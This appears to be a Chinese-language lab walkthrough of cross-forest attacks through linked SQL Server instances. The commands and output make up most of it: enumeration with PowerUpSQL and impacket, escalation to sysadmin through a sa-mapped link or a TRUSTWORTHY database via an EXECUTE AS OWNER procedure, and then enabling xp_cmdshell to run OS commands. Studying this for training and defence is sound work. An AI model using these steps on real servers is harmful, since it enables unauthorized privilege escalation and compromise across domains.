跨林攻击-SQL Server Links
跨林 MSSQL 链接服务器促进了位于不同AD 林中的 SQL Server 实例之间的通信和数据交换。此配置允许一个林中的 SQL Server 实例访问另一个林中 SQL Server 实例托管的数据和资源。
假设 SQL01.inlanefreight.ad 和 SQL02.logistics.ad 之间建立了 SQL 服务器链接。该链接使两个服务器能够访问彼此托管的数据和资源。但是,如果 SQL01( Inlanefreight )发生安全漏洞,攻击者可以利用此配置的服务器链接对 SQL02( Logistics )发起后续攻击。这可能导致 Logistics 域从 Inlanefreight 域被入侵。
1. 跨林的SQL Server Link攻击场景
1.1. 有SA登录权限
有时候林A的域用户可以以SA的身份远程登录林B的SQL02。这可能被滥用以直接危害链接服务器。
1.2. 有可信数据库
还有一种可能是:当前域用户未被授予远程登录权限,但已被授予 SQL02( logistics.ad )中 SQL 用户的 public 权限。这时候可以尝试枚举目标链接服务器上的可信数据库,并检查该用户是否是任何可信数据库的 db_owner 。如果存在满足条件的数据库,我们可以通过建立存储过程来启用以所有者(即 sa 用户)身份执行的 xp_cmdshell
后续会用inlanefreight\jimmy 和 inlanefreight\htb-student用户来进行演示, jimmy 已被授予在链接服务器 (SQL02.logistics.ad) 上作为 sysadmin (sa) 的远程登录权限,而用户 htb-student 已被授予在 SQL02 中拥有名为 htb-dbuser 的 SQL 用户的公共权限。
2. 对服务器链接的特权访问
当用户通过系统管理员 ( sa ) 权限访问另一个域 ( Inlanefreight.ad ) 中的服务器(例如 logistics.ad )时,即构成对服务器链接的特权访问。这会赋予用户对服务器链接的强大控制权,并可能导致对链接服务器的攻击和入侵。
2.1. 枚举
2.1.1. 枚举 SQL Server 链接
PS C:\Tools> import-module .\PowerUpSQL.ps1
PS C:\Tools> Get-SQLServerLink
ComputerName : SQL01
Instance : SQL01
DatabaseLinkId : 0
DatabaseLinkName : SQL01\SQLEXPRESS
DatabaseLinkLocation : Local
Product : SQL Server
Provider : SQLNCLI
Catalog :
LocalLogin :
RemoteLoginName :
is_rpc_out_enabled : True
is_data_access_enabled : False
modify_date : 1/4/2024 1:52:15 AM
ComputerName : SQL01
Instance : SQL01
DatabaseLinkId : 1
DatabaseLinkName : SQL02\SQLEXPRESSDatabaseLinkLocation : Remote
Product : SQL Server
Provider : SQLNCLI
Catalog :
LocalLogin : inlanefreight\jimmy
RemoteLoginName : sais_rpc_out_enabled : True
is_data_access_enabled : True
modify_date : 1/4/2024 2:09:31 AM
从输出可以看出:
SQL01\SQLEXPRESS和SQL02\SQLEXPRESS之间已建立 SQL 服务器链接。SQL02\SQLEXPRESS的LocalLogin属性中列出了用户名Inlanefreight\jimmyRemoteLoginName属性中指定了sa。这表明inlanefreight\jimmmy可以以sa身份登录 SQL02。
2.1.2. 枚举jimy的权限
使用 PowerUpSQL 的 Get-SQLQuery函数进行枚举
PS C:\Tools> Get-SQLQuery -Query "EXEC sp_helplinkedsrvlogin"
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------
SQL02\SQLEXPRESS inlanefreight\jimmy False sa
inlanefreight\jimmy拥有以sysadmin (sa)身份登录SQL02\SQLEXPRESS的权限
2.2. 利用
2.2.1. 枚举 SQL Server 链接和登录权限
mssqlclient.py jimmy@10.129.229.188 -windows-auth
SQL (inlanefreight\jimmy guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
---------------- ---------------- ----------- ---------------- ------------------ ------------ -------
SQL01\SQLEXPRESS SQLNCLI SQL Server SQL01\SQLEXPRESS NULL NULL NULL
SQL02\SQLEXPRESS SQLNCLI SQL Server SQL02\SQLEXPRESS NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
---------------- ------------------- --------------- ------------
SQL02\SQLEXPRESS inlanefreight\jimmy 0 sa
SQL01\SQLEXPRESS(inlanefreight.ad) 和SQL02\SQLEXPRESS(logistics.ad) 之间已建立 SQL 服务器链接inlanefreight\jimmmy可以以sysadmin (sa)身份登录到SQL02\SQLEXPRESS
2.2.2. 开启存储过程
这里开启的是最常用的 xp_cmdshell
SQL (inlanefreight\jimmy guest@master)> use_link "SQL02\SQLEXPRESS"
SQL >"SQL02\SQLEXPRESS" (sa dbo@master)> enable_xp_cmdshell
[*] INFO(SQL02\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(SQL02\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
然后可以执行命令测试一下
SQL >"SQL02\SQLEXPRESS" (sa dbo@master)> xp_cmdshell whoami
output
---------------------------
nt service\mssql$sqlexpress
NULL
3. 可信数据库的跨林攻击
如果林A用户只有林B SQL02的public用户权限,可以采取一种策略来枚举目标链接服务器上的 trusted databases 。
首先确定该用户是否拥有任何 trusted database 的 db_owner 角色。如果找到了这样的数据库,可以创建一个存储过程来启用 xp_cmdshell ,并确保它在 OWNER (通常是 sa 用户)的上下文中执行。
dbo用户在数据库中拥有所有权限,且无法被限制或删除。dbo代表数据库所有者(database owner),但dbo用户账户并不等同于db_owner固定数据库角色,而db_owner固定数据库角色也不等同于被记录为该数据库所有者(owner)的用户账户
3.1. 枚举 On windows
这次我们采用windows操作
3.1.1. 枚举sql server链接服务器
PS C:\Tools> Get-SQLServerLink
ComputerName : SQL01
Instance : SQL01
DatabaseLinkId : 0
DatabaseLinkName : SQL01\SQLEXPRESS
DatabaseLinkLocation : Local
Product : SQL Server
Provider : SQLNCLI
Catalog :
LocalLogin :
RemoteLoginName :
is_rpc_out_enabled : True
is_data_access_enabled : False
modify_date : 1/4/2024 1:52:15 AM
ComputerName : SQL01
Instance : SQL01
DatabaseLinkId : 1
DatabaseLinkName : SQL02\SQLEXPRESS
DatabaseLinkLocation : RemoteProduct : SQL Server
Provider : SQLNCLI
Catalog :
LocalLogin :
RemoteLoginName :is_rpc_out_enabled : True
is_data_access_enabled : True
modify_date : 1/4/2024 2:09:31 AM
RemoteLoginName属性为空,说明inlanefreight\htb-student无在SQL02上的SA登录权限
让我们在 SSMS 中执行 SUSER_NAME() 函数来检索 SQL02 中用户的登录标识名
select * from openquery("SQL02\SQLEXPRESS",'select SUSER_NAME()')
- SQL02 中用户
inlanefreight\htb-student的登录标识名为htb-dbuser htb-dbuser是 SQL02 上的一个本地 SQL 用户
3.1.2. 查询此用户在SQL02上是否具有SA权限
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''sysadmin'')')
0表示没有SA权限
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''public'')')
可以发现当前为public角色
3.1.3. 枚举是否有可信数据库
首先枚举数据库列表
select * from openquery("SQL02\SQLEXPRESS",'select name FROM master.dbo.sysdatabases')
然后枚举是否有TRUSTWORTHY属性的数据库
select * from openquery("SQL02\SQLEXPRESS",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')
可以发现 htb-reports 数据库已启用TRUSTWORTHY属性
3.1.4. 枚举是否是db_owner角色
EXEC ('sp_helpuser') AT "SQL02\SQLEXPRESS"
- 用户
htb-dbuser拥有htb-reports数据库的db_owner角色权限
查询来验证数据库 htb-reports 的所有者是否确实是 sa
select * from openquery("SQL02\SQLEXPRESS",'SELECT name as database_name , SUSER_NAME(owner_sid) AS owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;')
3.2. 利用 On windows
当前条件已经满足具有可信数据库的SA权限了
3.2.1. 验证RPC
在执行存储过程以提升我们的权限之前,先验证 IS_RPC_OUT_ENABLED 选项是否已启用。该选项在 Microsoft SQL Server 中也被称为‘远程过程调用 (RPC) 输出’选项,它允许 SQL Server 使用 RPC 向其他服务器发起出站调用
select is_rpc_out_enabled from sys.servers where name='SQL02\SQLEXPRESS'
- RPC 已启用
3.2.2. 添加SA角色
继续执行 T-SQL 脚本,在 htb-reports 数据库中创建一个名为 sp_escalate 存储过程,然后把 sysadmin 角色分配给 htb-dbuser 用户
EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''htb-dbuser'',''sysadmin''') AT "SQL02\SQLEXPRESS"
再次验证,已经有了SA权限了
EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "SQL02\SQLEXPRESS"
3.2.3. 创建存储过程
然后激活xp_cmdshell
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "SQL02\SQLEXPRESS"
使用以下查询执行 Windows 命令 whoami ,该查询应该输出 SQL02 当前运行的用户
EXECUTE('xp_cmdshell "whoami"') AT "SQL02\SQLEXPRESS"
3.3. 枚举 On Linux
3.3.1. 枚举SQL Server 链接和登录权限
使用impacket-mssqlclient进行枚举
mssqlclient.py htb-student@10.129.229.188 -windows-auth
SQL (inlanefreight\htb-student guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
---------------- ---------------- ----------- ---------------- ------------------ ------------ -------
SQL01\SQLEXPRESS SQLNCLI SQL Server SQL01\SQLEXPRESS NULL NULL NULL
SQL02\SQLEXPRESS SQLNCLI SQL Server SQL02\SQLEXPRESS NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------
Local Login和Remote Login属性为空inlanefreight\htb-student没有作为 SQL02 上的sa的远程登录权限
3.3.2. 连接到 SQL02 链接服务器
SQL (INLANEFREIGHT\htb-student guest@msdb)> use_link "SQL02\SQLEXPRESS"
In Microsoft SQL Server, linked servers allow you to connect to and query data from remote servers. By using the use_link command, operations in the current session should be executed on the linked server "SQL02\SQLEXPRESS" rather than the local server.
Now we are good to start our enumeration on SQL02.
SQL >"SQL02\SQLEXPRESS" (htb-dbuser htb-dbuser@msdb)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
------------------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
htb-dbuser SQL_LOGIN 0 0 0 0 0 0 0 0 0
INLANEFREIGHT\htb-student WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
- 用户
htb-dbuser身份登录
3.3.3. 枚举 Trushworthy 数据库
使用 enum_db 命令来识别启用了 is_trustworthy_on 选项的数据库
SQL >"SQL02\SQLEXPRESS" (htb-dbuser htb-dbuser@msdb)> enum_db
name is_trustworthy_on
----------- -----------------
master 0
tempdb 0
model 0
msdb 1
htb-reports 1
htb-reports数据库已启用可信权限
然后验证 htb-dbuser 是否拥有该数据库的 db_owner 角色
3.3.4. 在 SQL02 中枚举用户
SQL >"SQL02\SQLEXPRESS" (htb-dbuser htb-dbuser@msdb)> enum_users
UserName RoleName LoginName DefDBName DefSchemaName UserID SID
------------------ -------- ---------- ----------- ------------- ---------- -----------------------------------
dbo db_owner sa master dbo b'1 ' b'01'
guest public NULL NULL guest b'2 ' b'00'
htb-dbuser db_owner htb-dbuser htb-reports dbo b'5 ' b'900e4da3f4ebcb47b1f7fac46f513ad0'
INFORMATION_SCHEMA public NULL NULL NULL b'3 ' NULL
sys public NULL NULL NULL b'4 ' NULL
htb-dbuser拥有名为htb-reports的数据库的db_owner权限
查询数据库 htb-reports 的所有者是否确实是 sa
SQL >"SQL02\SQLEXPRESS" (htb-dbuser htb-dbuser@master)> SELECT name as database_name, SUSER_NAME(owner_sid) AS owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases;
database_name owner TRUSTWORTHY
------------- -------------- -----------
master sa 0
tempdb sa 0
model sa 0
msdb sa 1
htb-reports sa 13.4. 利用 On Linux
3.4.1. 修改用户角色为SA
SQL >"SQL02\SQLEXPRESS" (htb-dbuser htb-dbuser@msdb)> USE "htb-reports"
[*] INFO(SQL02\SQLEXPRESS): Line 1: Changed database context to 'htb-reports'.
SQL >"SQL02\SQLEXPRESS" (htb-dbuser htb-dbuser@msdb)> CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'htb-dbuser','sysadmin'
SQL >"SQL02\SQLEXPRESS" (htb-dbuser htb-dbuser@msdb)> EXEC sp_escalate
3.4.2. 验证权限
再次验证当前用户的权限
SQL >"SQL02\SQLEXPRESS" (htb-dbuser dbo@msdb)> SELECT is_srvrolemember('sysadmin')
-
1
- 已经是
SA了
3.4.3. 启用 xp_cmdshell
SQL >"SQL02\SQLEXPRESS" (htb-dbuser dbo@msdb)> exec master.dbo.sp_configure "show advanced options",1;RECONFIGURE;exec master.dbo.sp_configure "xp_cmdshell", 1;RECONFIGURE;
[*] INFO(SQL02\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(SQL02\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL >"SQL02\SQLEXPRESS" (htb-dbuser dbo@msdb)> exec master..xp_cmdshell "whoami"
output
---------------------------
nt service\mssql$sqlexpress
NULL












